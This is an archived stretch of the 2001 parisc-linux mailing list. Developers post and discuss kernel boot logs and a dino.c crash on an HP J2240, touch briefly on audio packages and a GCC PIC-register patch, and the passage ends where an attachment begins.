> 16. SummitHawk U+ (0) at 0xfffffffffffa0000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
> 17. SummitHawk U+ (0) at 0xfffffffffffa2000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
> 18. SummitHawk Memory (1) at 0xfffffffffffb1000, versions 0x83, 0x0, 0x9, 0x0, 0
> x0
> That's a total of 18 devices.
> CONFIG_SMP=n  ignoring additional CPUs
> Warning : device (0, 0x5b5, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
> CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
> Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100 console=
> ttyS0
> Calibrating delay loop... 470.22 BogoMIPS
> Memory: 91924k available
> Dentry-cache hash table entries: 16384 (order: 6, 262144 bytes)
> Buffer-cache hash table entries: 4096 (order: 3, 32768 bytes)
> Page-cache hash table entries: 32768 (order: 6, 262144 bytes)
> Inode-cache hash table entries: 8192 (order: 5, 131072 bytes)
> POSIX conformance testing by UNIFIX
> Lasi version 0 at 0xffffffffffd00000 found.
> LED display at ffffffffffd0c000 registered
> Initializing Lasi PS/2-keyboard port at 0xffffffffffd08000...
> Support for Lasi PS/2-psaux not yet available !
> Dino version 3.1 (bridge mode) found at 0xfffffffffc004000
> Dino version J2240 (bridge mode) found at 0xfffffffffc000000
> dino_bridge_init: IO_ADDR_EN hasn't been configured.
> kernel BUG at dino.c:795!
> ccio found U2 I/O MMU at 0xfffffffffff88000
> io_io_high: 0xfff80000 io_io_low: 0xf4000000
> ccio found U2 I/O MMU at 0xfffffffffff8a000
> io_io_high: 0xf4000000 io_io_low: 0xf1600000
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> pty: 256 Unix98 ptys configured
> lp: driver loaded but no devices found
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI ena
> bled
> busdevice_alloc_irq(0x00000000103ae348): No known LASI/ASP/WAX owns device at 0x
> fffffffffc003000 !
> IRQ not found for serial device at 0xfffffffffc003000
> Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
>  or similiar
> busdevice_alloc_irq(0x00000000103ae3d0): No known LASI/ASP/WAX owns device at 0x
> fffffffff1607000 !
> IRQ not found for serial device at 0xfffffffff1607000
> Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
>  or similiar
> 
> Dumping Stack from 0000000010048000 to 0000000010049280:
> 8000 00000000 00000000 00000000 00000040 00000000 00000000 00000000 10308a40
> ...
> 9260 00000000 000000f8 00000000 00000058 00000000 10105764 00000000 102e2e35
> 
> Kernel Fault: Code=26 regs=0000000010048f40 (Addr=0000000000000008)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001100000000000001110
> r0-3     0000000000000000 00000000103b2600 000000001011023c 000000001034b7f0
> r4-7     000000000000ffff 000000000000002f 0000000000000000 000000001034b7f0
> r8-11    000000000800000f ffffffffffffffff 000000001031e3b8 00000000103cf988
> r12-15   00000000103cf988 00000000103cf988 00000000103cf988 00000000103cf988
> r16-19   000000001031e388 00000000103cf988 00000000103cf988 000000000000ffff
> r20-23   0000000010326a00 0000000010334090 0000000000000000 0000000000000000
> r24-27   000000000000002f 000000000000ffff 0000000000000000 000000001034b7f0
> r28-31   0000000000002580 0000000010048e30 0000000010049280 0000000010319d78
> sr0-3    0000000000000000 0000000000000000 0000000000000000 0000000000000000
> sr4-7    0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000102403d4 00000000102403d8
>  IIR: 0cd010d9    ISR: 0000000000000000  IOR: 0000000000000008
> ORIG_R28: 0000000000000004
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Douglas T. Crosher" <dtc@scieneer.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240?
Date: Mon, 14 May 2001 05:33:10 +1000
Organization: Scieneer Pty Ltd
Lines: 160
Approved: news@gmane.org
Message-ID: <3AFEE176.28EBFC7A@scieneer.com>
References: <3AFE1F8B.725C1B8B@scieneer.com> <20010513122336.A25045@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620116 19318 80.91.229.3 (22 Nov 2014 01:35:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:16 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 13 13:33:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gw.scieneer.com (gw.scieneer.com [203.44.134.129])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3F61C482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 May 2001 13:33:20 -0600 (MDT)
Original-Received: from scieneer.com (IDENT:dtc@dtc-pc.scieneer.com [10.0.0.100])
	by gw.scieneer.com (8.11.0/8.8.7) with ESMTP id f4DJXAH00767
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 May 2001 05:33:10 +1000
Original-Sender: dtc@scieneer.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.3-pre2 i686)
X-Accept-Language: en-GB, en
Xref: news.gmane.org gmane.linux.ports.parisc:11042

Ryan Bradetich wrote:
...
> I have to fess up on this one, since this machine uses both the
> ccio-dma driver and the 32-bit pdc translator :)  I hve been testing
> on a C200 that uses the ccio-dma driver and the 32-bit translator
> also ... but I have not been able to boot the machine with a 64-bit
> kernel yet.  I think it is a problem with the ccio-dma driver, but
> I have been unable to find the error yet.
> 
> Booting the machine with a 32-bit kernel should work fine ... if it
> does not, post the output to the list again we can try to help debug

Below is the output for the 32 bit kernel which proceeds in
a similar manner to the 64 bit kernel and has the same problems.

Regards
Douglas Crosher

-=-=-

HARD Booted.
palo ipl <> Sun May 13 11:53:13 EST 2001
0/vmlinux 2614364 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1516512 mediaptr 0x1000
Segment 1 load 00274000 size 181808 mediaptr 0x174000
Segment 2 load 002a4000 size 219576 mediaptr 0x1a1000
Segment 3 load 002dc000 size 8192 mediaptr 0x1d7000
Segment 4 load 0030a068 size 75520 mediaptr 0x1d9068
branching to kernel entry point 0x00100000
Set default PSW W bit to 0
PDC Console Initialized
Linux version 2.4.0 () (gcc version 3.0 20010427 (prerelease)) #8 Mon May 14
05:02:36 EST 2001
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: Newer Box
setup_cmdline(0x64cc4,0x64cc4,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
console=ttyS0'
PALO initrd 0-0
model   00005b50 00000491 00000000 00000002 77c5684a 100000f0 00000008 000000b2
000000b2
vers    00000501
cpuid   000001d7
CPUID   vers 14 rev 23
model   9000/782/J2240
Total Memory: 96 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 24576
zone(0): 24576 pages.
zone(1): 0 pages.
zone(2): 0 pages.
led_init: chassis info: model=0 (LCD), lcd_width=16, cmd_delay=40, actcnt=32,
maxcnt=32
led_init: min_cmd_delay = 40 uS
LCD display at f0190000,f0190001 registered
Searching for devices...
Found devices:
1. SummitHawk Dino RS-232 (10) at 0xfc003000, versions 0x5d, 0x0, 0x8c, 0x0, 0x0
2. SummitHawk Dino RS-232 (10) at 0xf1607000, versions 0x5d, 0x0, 0x8c, 0x0, 0x0
3. SummitHawk 230 Core BA (11) at 0xffd00000, versions 0x5c, 0x0, 0x81, 0x0,
0x0,  additional addresses: 0xffd0c000 0xffc00000 
4. SummitHawk 230 Core SCSI (10) at 0xffd06000, versions 0x5c, 0x0, 0x82, 0x0,
0x0
5. SummitHawk 230 Core Centronics (10) at 0xffd02000, versions 0x5c, 0x0, 0x74,
0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 
6. SummitHawk 230 Core Audio (10) at 0xffd04000, versions 0x5c, 0x4, 0x7b, 0x0,
0x0
7. SummitHawk 230 Core PC Keyboard (10) at 0xffd08000, versions 0x5c, 0x0, 0x84,
0x0, 0x0
8. SummitHawk 230 Core PC Keyboard (10) at 0xffd08100, versions 0x5c, 0x0, 0x84,
0x0, 0x0
9. U2-IOA BC GSC+ Port (7) at 0xfc03f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
10. U2-IOA BC GSC+ Port (7) at 0xf163f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
11. Cujo PCI Bridge (13) at 0xf1604000, versions 0x682, 0x1, 0xa, 0x1, 0x0
12. Dino PCI Bridge (13) at 0xfc004000, versions 0x680, 0x3, 0xa, 0x0, 0x0, 
additional addresses: 0xfc800000 
13. Unknown device (13) at 0xfc000000, versions 0x5d, 0x3, 0xa, 0x0, 0x0
14. U2-IOA BC Runway Port (12) at 0xfff88000, versions 0x580, 0xf, 0xb, 0x1,
0x50
15. U2-IOA BC Runway Port (12) at 0xfff8a000, versions 0x580, 0xf, 0xb, 0x1,
0x50
16. SummitHawk U+ (0) at 0xfffa0000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
17. SummitHawk U+ (0) at 0xfffa2000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
18. SummitHawk Memory (1) at 0xfffb1000, versions 0x83, 0x0, 0x9, 0x0, 0x0
That's a total of 18 devices.
CONFIG_SMP=n  ignoring additional CPUs
Warning : device (0, 0x5b5, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
console=ttyS0
Calibrating delay loop... 470.22 BogoMIPS
Memory: 94416k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
Initializing Lasi PS/2-keyboard port at 0xffd08000...
Support for Lasi PS/2-psaux not yet available !
Dino version 3.1 (bridge mode) found at 0xfc004000
Dino version J2240 (bridge mode) found at 0xfc000000
dino_bridge_init: IO_ADDR_EN hasn't been configured.
kernel BUG at dino.c:795!
ccio found U2 I/O MMU at 0xfff88000
io_io_high: 0xfff80000 io_io_low: 0xf4000000
ccio found U2 I/O MMU at 0xfff8a000
io_io_high: 0xf4000000 io_io_low: 0xf1600000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI
enabled
busdevice_alloc_irq(0x102e0244): No known LASI/ASP/WAX owns device at 0xfc003000
!
IRQ not found for serial device at 0xfc003000
Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
or similiar
busdevice_alloc_irq(0x102e027c): No known LASI/ASP/WAX owns device at 0xf1607000
!
IRQ not found for serial device at 0xf1607000
Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
or similiar

Dumping Stack from 10034000 to 10034a80:
4000 00000000 00000040 00000000 00000000 10289440 00000001 00000000 ffffffff
...
4a60 00000000 00000000 10108c2c 10106744 11111111 00000000 3e743615 25db7828

Kernel Fault: Code=26 regs=10034840 (Addr=00000004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001110
r0-3     00000000 102e30c0 1010cd98 10297194
r4-7     0000ffff 0000002f 00000000 0000000f
r8-11    00002000 102f8d64 0004000e 102a4674
r12-15   000000f2 000000fa f0140000 00000007
r16-19   f000173c f0000218 f0000210 ffffffff
r20-23   1029c11c 102f59e8 101f1750 ffffffff
r24-27   0000002f 0000ffff 00000000 10274010
r28-31   00000000 0000002f 10034a80 1010cd98
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101f177c 101f1780
 IIR: 0cc81099    ISR: 00000000  IOR: 00000004
ORIG_R28: 55555555




From - Thu Nov 08 21:17:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] framebuffer drivers, sound
Date: Sun, 13 May 2001 21:35:23 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <3AFEE1FB.1805289E@fischlustig.de>
References: <3AF878EA.3F043FD7@fischlustig.de> <3AF8FF5E.B9442562@esiee.fr> <3AF9B4F9.17956B05@fischlustig.de> <3AFBCE2C.3961BC48@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620117 19321 80.91.229.3 (22 Nov 2014 01:35:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:17 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
	puffin@esiee.net
To: Matthieu Delahaye <delahaym@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 13 13:35:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD900164F.dip.t-dialin.net [217.0.22.79])
	by dsl2.external.hp.com (Postfix) with SMTP id 221E8482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 May 2001 13:35:44 -0600 (MDT)
Original-Received: (qmail 30930 invoked from network); 13 May 2001 19:35:23 -0000
Original-Received: from tentakel.fischlustig.de (HELO fischlustig.de) (@192.168.1.1)
  by tentakel.fischlustig.de with SMTP; 13 May 2001 19:35:23 -0000
Original-Sender: andi@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en, de
Xref: news.gmane.org gmane.linux.ports.parisc:11043

Matthieu Delahaye wrote:

> Andi wrote:
>
> Hum, I tried the driver on a 712/60. Seems ok for me.
> I found neither madplay nor saydate packaged. Could you
> tell me the exact location (or package name) where
> you found them?

they are in the official debian distribution... you can grab them from:

ftp://ftp.debian.org/debian/pool/main/m/mad/
ftp://ftp.de.debian.org/debian/pool/main/s/saydate/
ftp://ftp.de.debian.org/debian/pool/main/s/saytime/

> About mpg123, how did you compile it? When I did it 3 months ago
> I had to do some modifications on. I'll be very interested to know how
> you did.

I made no modifications to the program itself, I just tweaked the makefiles
a bit.

> Btw, what are the frequencies of you mp3?

I dont know, what frequencies does harmony support?

> More over, could you test .au files with `cat`?

I had the same problem here.








From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240?
Date: Sun, 13 May 2001 14:14:05 -0600
Lines: 193
Approved: news@gmane.org
Message-ID: <20010513141405.A25241@beavis.ybsoft.com>
References: <3AFE1F8B.725C1B8B@scieneer.com> <20010513122336.A25045@beavis.ybsoft.com> <3AFEE176.28EBFC7A@scieneer.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620117 19324 80.91.229.3 (22 Nov 2014 01:35:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:17 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Douglas T. Crosher" <dtc@scieneer.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 13 14:14:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (lametoby.ybsoft.com [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88057482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 May 2001 14:14:05 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 20816BE01; Sun, 13 May 2001 14:14:05 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <3AFEE176.28EBFC7A@scieneer.com>; from dtc@scieneer.com on Mon, May 14, 2001 at 05:33:10AM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:11044

Douglas,

I glanced through the dino.c code and found the following comment:

/*
** If hversion is what is read from Dino, we should be OK.
** If it's what PDC told us, J2240 PDC reports the hv_model wrong
** for the first Dino.  I think it reports 0x05d.  <sigh>...
**

This comment appears to apply to the bug you are seening since this 
device shows up in your inventory. 

> 13. Unknown device (13) at 0xfc000000, versions 0x5d, 0x3, 0xa, 0x0, 0x0
> Dino version J2240 (bridge mode) found at 0xfc000000

I will take a look at it some more later today to see if I can figure
it out, but Grant Grundler probably already knows how to fix the problem :)

Thanks,

- Ryan

On Mon, May 14, 2001 at 05:33:10AM +1000, Douglas T. Crosher wrote:
> Ryan Bradetich wrote:
> ...
> > I have to fess up on this one, since this machine uses both the
> > ccio-dma driver and the 32-bit pdc translator :)  I hve been testing
> > on a C200 that uses the ccio-dma driver and the 32-bit translator
> > also ... but I have not been able to boot the machine with a 64-bit
> > kernel yet.  I think it is a problem with the ccio-dma driver, but
> > I have been unable to find the error yet.
> > 
> > Booting the machine with a 32-bit kernel should work fine ... if it
> > does not, post the output to the list again we can try to help debug
> 
> Below is the output for the 32 bit kernel which proceeds in
> a similar manner to the 64 bit kernel and has the same problems.
> 
> Regards
> Douglas Crosher
> 
> -=-=-
> 
> HARD Booted.
> palo ipl <> Sun May 13 11:53:13 EST 2001
> 0/vmlinux 2614364 bytes @ 0x6800
> 0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
> console=ttyS0'
> Kernel: partition 0 file /vmlinux
> ELF32 executable
> Entry 00100000 first 00100000 n 5
> Segment 0 load 00100000 size 1516512 mediaptr 0x1000
> Segment 1 load 00274000 size 181808 mediaptr 0x174000
> Segment 2 load 002a4000 size 219576 mediaptr 0x1a1000
> Segment 3 load 002dc000 size 8192 mediaptr 0x1d7000
> Segment 4 load 0030a068 size 75520 mediaptr 0x1d9068
> branching to kernel entry point 0x00100000
> Set default PSW W bit to 0
> PDC Console Initialized
> Linux version 2.4.0 () (gcc version 3.0 20010427 (prerelease)) #8 Mon May 14
> 05:02:36 EST 2001
> FP[0] enabled: Rev 0 Model 14
> The 32-bit Kernel has started...
> Determining PDC firmware type: Newer Box
> setup_cmdline(0x64cc4,0x64cc4,0x0,0x0)
> PALO command line: 'HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
> console=ttyS0'
> PALO initrd 0-0
> model   00005b50 00000491 00000000 00000002 77c5684a 100000f0 00000008 000000b2
> 000000b2
> vers    00000501
> cpuid   000001d7
> CPUID   vers 14 rev 23
> model   9000/782/J2240
> Total Memory: 96 Mb
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 24576
> zone(0): 24576 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> led_init: chassis info: model=0 (LCD), lcd_width=16, cmd_delay=40, actcnt=32,
> maxcnt=32
> led_init: min_cmd_delay = 40 uS
> LCD display at f0190000,f0190001 registered
> Searching for devices...
> Found devices:
> 1. SummitHawk Dino RS-232 (10) at 0xfc003000, versions 0x5d, 0x0, 0x8c, 0x0, 0x0
> 2. SummitHawk Dino RS-232 (10) at 0xf1607000, versions 0x5d, 0x0, 0x8c, 0x0, 0x0
> 3. SummitHawk 230 Core BA (11) at 0xffd00000, versions 0x5c, 0x0, 0x81, 0x0,
> 0x0,  additional addresses: 0xffd0c000 0xffc00000 
> 4. SummitHawk 230 Core SCSI (10) at 0xffd06000, versions 0x5c, 0x0, 0x82, 0x0,
> 0x0
> 5. SummitHawk 230 Core Centronics (10) at 0xffd02000, versions 0x5c, 0x0, 0x74,
> 0x0, 0x0,  additional addresses: 0xffd01000 0xffd03000 
> 6. SummitHawk 230 Core Audio (10) at 0xffd04000, versions 0x5c, 0x4, 0x7b, 0x0,
> 0x0
> 7. SummitHawk 230 Core PC Keyboard (10) at 0xffd08000, versions 0x5c, 0x0, 0x84,
> 0x0, 0x0
> 8. SummitHawk 230 Core PC Keyboard (10) at 0xffd08100, versions 0x5c, 0x0, 0x84,
> 0x0, 0x0
> 9. U2-IOA BC GSC+ Port (7) at 0xfc03f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
> 10. U2-IOA BC GSC+ Port (7) at 0xf163f000, versions 0x501, 0x1, 0xc, 0x3, 0x0
> 11. Cujo PCI Bridge (13) at 0xf1604000, versions 0x682, 0x1, 0xa, 0x1, 0x0
> 12. Dino PCI Bridge (13) at 0xfc004000, versions 0x680, 0x3, 0xa, 0x0, 0x0, 
> additional addresses: 0xfc800000 
> 13. Unknown device (13) at 0xfc000000, versions 0x5d, 0x3, 0xa, 0x0, 0x0
> 14. U2-IOA BC Runway Port (12) at 0xfff88000, versions 0x580, 0xf, 0xb, 0x1,
> 0x50
> 15. U2-IOA BC Runway Port (12) at 0xfff8a000, versions 0x580, 0xf, 0xb, 0x1,
> 0x50
> 16. SummitHawk U+ (0) at 0xfffa0000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
> 17. SummitHawk U+ (0) at 0xfffa2000, versions 0x5b5, 0x0, 0x4, 0x0, 0x91
> 18. SummitHawk Memory (1) at 0xfffb1000, versions 0x83, 0x0, 0x9, 0x0, 0x0
> That's a total of 18 devices.
> CONFIG_SMP=n  ignoring additional CPUs
> Warning : device (0, 0x5b5, 0x0, 0x4, 0x0) NOT claimed by CPU PARISC
> CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
> Kernel command line: HOME=/ TERM=linux root=/dev/nfs nfsroot=10.0.0.100
> console=ttyS0
> Calibrating delay loop... 470.22 BogoMIPS
> Memory: 94416k available
> Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
> Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
> Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
> Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
> POSIX conformance testing by UNIFIX
> Lasi version 0 at 0xffd00000 found.
> Initializing Lasi PS/2-keyboard port at 0xffd08000...
> Support for Lasi PS/2-psaux not yet available !
> Dino version 3.1 (bridge mode) found at 0xfc004000
> Dino version J2240 (bridge mode) found at 0xfc000000
> dino_bridge_init: IO_ADDR_EN hasn't been configured.
> kernel BUG at dino.c:795!
> ccio found U2 I/O MMU at 0xfff88000
> io_io_high: 0xfff80000 io_io_low: 0xf4000000
> ccio found U2 I/O MMU at 0xfff8a000
> io_io_high: 0xf4000000 io_io_low: 0xf1600000
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> pty: 256 Unix98 ptys configured
> lp: driver loaded but no devices found
> RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
> Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI
> enabled
> busdevice_alloc_irq(0x102e0244): No known LASI/ASP/WAX owns device at 0xfc003000
> !
> IRQ not found for serial device at 0xfc003000
> Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
> or similiar
> busdevice_alloc_irq(0x102e027c): No known LASI/ASP/WAX owns device at 0xf1607000
> !
> IRQ not found for serial device at 0xf1607000
> Warning : device (10, 0x5d, 0x0, 0x8c, 0x0) NOT claimed by serial device 715/new
> or similiar
> 
> Dumping Stack from 10034000 to 10034a80:
> 4000 00000000 00000040 00000000 00000000 10289440 00000001 00000000 ffffffff
> ...
> 4a60 00000000 00000000 10108c2c 10106744 11111111 00000000 3e743615 25db7828
> 
> Kernel Fault: Code=26 regs=10034840 (Addr=00000004)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001100000000000001110
> r0-3     00000000 102e30c0 1010cd98 10297194
> r4-7     0000ffff 0000002f 00000000 0000000f
> r8-11    00002000 102f8d64 0004000e 102a4674
> r12-15   000000f2 000000fa f0140000 00000007
> r16-19   f000173c f0000218 f0000210 ffffffff
> r20-23   1029c11c 102f59e8 101f1750 ffffffff
> r24-27   0000002f 0000ffff 00000000 10274010
> r28-31   00000000 0000002f 10034a80 1010cd98
> sr0-3    00000000 00000000 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 101f177c 101f1780
>  IIR: 0cc81099    ISR: 00000000  IOR: 00000004
> ORIG_R28: 55555555
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 

-- 




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@SPRI.Levels.UniSA.Edu.Au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C++ Issue on GCC 3.0 branch
Date: Mon, 14 May 2001 12:48:31 +0930 (CST)
Lines: 144
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0105141156530.12094-200000@mullet.itr.unisa.edu.au>
References: <200105131557.LAA21153@hiauly1.hia.nrc.ca>
Reply-To: <amodra@one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="296515328-51119847-989810311=:12094"
X-Trace: ger.gmane.org 1416620117 19330 80.91.229.3 (22 Nov 2014 01:35:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:17 +0000 (UTC)
Cc: <amodra@one.net.au>, Jeffrey A Law <law@redhat.com>,
	<parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 13 21:19:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from patty.levels.unisa.edu.au (patty.levels.unisa.edu.au [130.220.36.156])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86AF1482B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 13 May 2001 21:18:47 -0600 (MDT)
Original-Received: from mullet.itr.unisa.edu.au (root@mullet [172.17.0.119])
	by patty.levels.unisa.edu.au (8.9.3/8.9.1) with ESMTP id MAA19680;
	Mon, 14 May 2001 12:48:32 +0930 (CST)
Original-Received: from localhost (alan@localhost)
	by mullet.itr.unisa.edu.au (8.9.1a/8.9.2) with ESMTP id MAA12174;
	Mon, 14 May 2001 12:48:32 +0930
X-Authentication-Warning: mullet.itr.unisa.edu.au: alan owned process doing -bs
X-Sender: <alan@mullet.itr.unisa.edu.au>
In-Reply-To: <200105131557.LAA21153@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:11045

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--296515328-51119847-989810311=:12094
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Sun, 13 May 2001, John David Anglin wrote:

> > On Sun, 13 May 2001, Alan Modra wrote:
> >
> > > How about this?  Warning, not even compiled!  I'm just tossing ideas
> > > around.
> >
> > And of course, the first little test I tried showed a problem.  :-(
> > The inlined code looks OK, but that emitted for the non-inlined copy
> > doesn't init the pic reg.

This was back-to-front.  It was the inline code that was bad.

> After I wrote, I realized that I had picked the wrong register. Then I
> had second thoughts about the method.  Here is another idea that seems
> at least to do the right thing compiling libobjc/init.c.  The CSE
> results in the same hard register being used for inlined functions.
> However, if Alan can get integrate to do the right thing, that might
> be better.  It will be tomorrow before I have complete test results.

Funny, I like your approach better than mine, but I went ahead and made
the fairly obvious fix to my code to make it work.  Attached is the diff
against pehc, but I guess the whole exercise is now a little pointless
given rth's latest eh changes.

-- 
Alan


--296515328-51119847-989810311=:12094
